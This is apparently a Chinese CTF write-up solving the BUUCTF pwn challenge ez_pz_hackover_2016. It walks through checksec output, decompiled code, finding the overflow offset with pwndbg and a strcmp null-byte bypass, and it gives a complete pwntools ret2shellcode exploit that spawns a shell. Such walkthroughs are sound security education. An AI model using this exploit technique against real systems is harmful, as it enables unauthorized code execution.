buuctf pwn 板块下的 ez_pz_hackover_2016
1 2 3 4 5 6 7 8 9 10 ❯ checksec ./ez_pz_hackover_2016 [*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/BUUCTF/ez_pz_hackover_2016' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void *chall () { size_t v0; void *result; char s[1024 ]; _BYTE *v3; printf ("Yippie, lets crash: %p\n" , s); printf ("Whats your name?\n" ); printf ("> " ); fgets(s, 1023 , stdin ); v0 = strlen (s); v3 = memchr (s, 10 , v0); if ( v3 ) *v3 = 0 ; printf ("\nWelcome %s!\n" , s); result = (void *)strcmp (s, "crashme" ); if ( !result ) result = vuln((int )s, 0x400u ); return result; }
1 2 3 4 5 6 void *__cdecl vuln (int src, size_t n) { char dest[50 ]; return memcpy (dest, &src, n); }
如果输入的是 crashme
,那就可以进入 vuln
函数,函数中有很明显的栈溢出漏洞,从 src 中也就是输入的 s 复制了 0x400
字节到 dest ,而 dest 只有50大小,造成栈溢出。
本题应该有两种解法
ret2libc (翻 wp 翻到的)
ret2shellcode
ret2shellcode strcmp
函数对输入的 s 做了比较,是否等于 crashme
, 但是 s 要被我们用作 payload,所以可以用 \x00
把 strcmp 截断 (常规 bypass) 因为开了 Full RELRO
, 并且没有 canary 和 NX ,这就给了我们布置栈帧和 shellcode 的机会。
Full RELRO 的缘故,我们只能用栈内偏移固定来做,刚好题目给了我们 s 的地址:
1 printf ("Yippie, lets crash: %p\n" , s);
因此在布置栈帧返回到 shellcode 的时候就可以利用 s_addr -> shellcode 的相对偏移来达到执行 shellcode 的目的
+++++++++ 这里需要注意一点 dest 本来是 0x32 + 0x04字节溢出,但是经过测试 26个字节 就可以覆盖 ret_addr:
1 2 pwndbg> cyclic 50 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *context(arch='i386' , os='linux' , log_level='debug' ) io = process("./ez_pz_hackover_2016" ) elf = ELF("./ez_pz_hackover_2016" ) io.recvuntil("Yippie, lets crash:" ) s_addr = eval (io.recvuntil("\n" ,drop=True )) print ("+++++++ s_addr:" ,hex (s_addr))io.recvuntil(">" ) payload = b'crashme\x00' + b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama' gdb.attach(io) pause() io.sendline(payload) io.interactive()
在执行到 ► 0x80485fd <vuln+25> add esp, 0x10 ESP => 0xff9586c0 (0xff9586b0 + 0x10)
的时候,发现 BACKTRACE 就变了:
1 2 3 4 5 6 7 8 ────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────── ► 0 0x80485fd vuln+25 1 0x61666161 None 2 0x61676161 None 3 0x61686161 None 4 0x61696161 None 5 0x616a6161 None 6 0x616b6161 None
1 2 3 pwndbg> cyclic -l 0x61666161 Finding cyclic pattern of 4 bytes: b'aafa' (hex: 0x61616661) Found at offset 18
所以18个字节+8个字节就可以导致溢出 , 验证一下 :
1 payload = b'crashme\x00' + b'a' * 18 + p32(0xdeadbeef )
1 2 3 4 5 6 7 8 ────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────── ► 0 0x80485fd vuln+25 1 0xdeadbeef None 2 0x482c000a None 3 0x4400f2df None 4 0x6ad8f303 None 5 0x5e8fff1 None 6 0x9d0ef307 None
没错,那现在我们的想法就是
1 b'crashme\x00' + padding + shellcode_addr + shellcode
问题就在于 shellcode_addr
怎么知道,根本不知道,只能用栈内偏移来做
我们 gdb 调试,输入 crashme
后到 vuln 看栈内情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pwndbg> stack 30 00 :0000 │ esp 0xffffcd30 ◂— 1 01 :0004 │ eax-2 0xffffcd34 ◂— 0xcd8ccd9c 02 :0008 │-030 0xffffcd38 ◂— 0x400ffff 03 :000 c│-02 c 0xffffcd3c ◂— 0x80000 04 :0010 │-028 0xffffcd40 ◂— 0x37de0000 05 :0014 │-024 0xffffcd44 ◂— 0xf7fd 06 :0018 │-020 0xffffcd48 ◂— 0xcdec0000 07 :001 c│-01 c 0xffffcd4c ◂— 0xdb8cffff 08 :0020 │-018 0xffffcd50 ◂— 0x7263f7ff 09 :0024 │-014 0xffffcd54 ◂— 'ashme' 0 a:0028 │-010 0xffffcd58 ◂— 0x65 0b :002 c│-00 c 0xffffcd5c —▸ 0xffff0000 ◂— 0 0 c:0030 │-008 0xffffcd60 ◂— 0x9614ffff 0 d:0034 │-004 0xffffcd64 ◂— 0xd5e8f7fc 0 e:0038 │ ebp 0xffffcd68 ◂— 0x10f7ff 0f :003 c│+004 0xffffcd6c —▸ 0xffff0000 ◂— 0 10 :0040 │+008 0xffffcd70 ◂— 0x182cffff 11 :0044 │+00 c 0xffffcd74 ◂— 0x1400f7d8 12 :0048 │+010 0xffffcd78 ◂— 0xce68f7fc 13 :004 c│+014 0xffffcd7c ◂— 0xd5e8ffff 14 :0050 │+018 0xffffcd80 ◂— 0x6d0ef7ff 15 :0054 │+01 c 0xffffcd84 ◂— 0xb000f7fd 16 :0058 │+020 0xffffcd88 ◂— 0x2000f7ff 17 :005 c│+024 0xffffcd8c ◂— 0x10000 18 :0060 │+028 0xffffcd90 ◂— 0x74f40000 19 :0064 │+02 c 0xffffcd94 ◂— 0x9921f7fd 1 a:0068 │+030 0xffffcd98 ◂— 0xd5e8f7fc 1b :006 c│+034 0xffffcd9c ◂— 0xd5e8f7ff 1 c:0070 │+038 0xffffcda0 ◂— 0x7b39f7ff 1 d:0074 │+03 c 0xffffcda4 ◂— 0xd5e8f7fd
看到我们输入的 crashme
是从 08:0020│-018 0xffffcd50 ◂— 0x7263f7ff
这里开始的,位置为 08:0020
0f:003c│+004 0xffffcd6c —▸ 0xffff0000 ◂— 0
此处为 ret_addr , 位置为 0f:003c
所以我们的 shellcode_addr 也就迎刃而解了, 完整解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from LibcSearcher import *context(arch='i386' , os='linux' , log_level='debug' ) io = process("./ez_pz_hackover_2016" ) elf = ELF("./ez_pz_hackover_2016" ) io.recvuntil("Yippie, lets crash:" ) s_addr = eval (io.recvuntil("\n" ,drop=True )) print ("+++++++ s_addr:" ,hex (s_addr))io.recvuntil(">" ) shellcode = asm(shellcraft.sh()) payload = b'crashme\x00' + b'a' * 18 + p32(s_addr - 0x1c ) + shellcode io.sendline(payload) io.interactive()
1 2 3 4 5 6 7 Welcome crashme! $ id [DEBUG] Sent 0x3 bytes: b'id\n' [DEBUG] Received 0x8c bytes: b'uid=1000(xekoner) gid=1000(xekoner) groups=1000(xekoner),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),125(libvirt)\n' uid=1000(xekoner) gid=1000(xekoner) groups =1000(xekoner),4(adm),24(cdrom),27(sudo ),30(dip),46(plugdev),100(users ),114(lpadmin),125(libvirt)